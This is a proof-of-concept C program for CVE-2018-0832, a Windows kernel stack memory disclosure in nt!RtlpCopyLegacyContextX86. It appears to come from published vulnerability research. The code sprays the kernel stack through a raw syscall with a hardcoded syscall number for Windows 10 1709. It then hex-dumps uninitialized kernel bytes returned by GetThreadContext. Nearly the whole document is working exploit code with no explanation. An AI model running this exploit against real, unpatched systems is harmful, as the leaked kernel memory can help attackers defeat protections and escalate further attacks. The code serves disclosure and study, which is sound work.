Windows Kernel stack memory disclosure in nt!RtlpCopyLegacyContextX86(CVE-2018-0832)

                                                #include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm {mov eax, ApiNumber};
  __asm {lea edx, ApiNumber + 4};
  __asm {int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 10 32-bit version 1709.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Initialize the thread as GUI.
  LoadLibrary(L"user32.dll");

  CONTEXT ctx;
  RtlZeroMemory(&ctx, sizeof(ctx));
  ctx.ContextFlags = CONTEXT_FLOATING_POINT;

  SprayKernelStack();

  if (!GetThreadContext(GetCurrentThread(), &ctx)) {
    printf("GetThreadContext failed, %d\n", GetLastError());
    return 1;
  }

  PrintHex((PBYTE)&ctx, sizeof(ctx));

  return 0;
}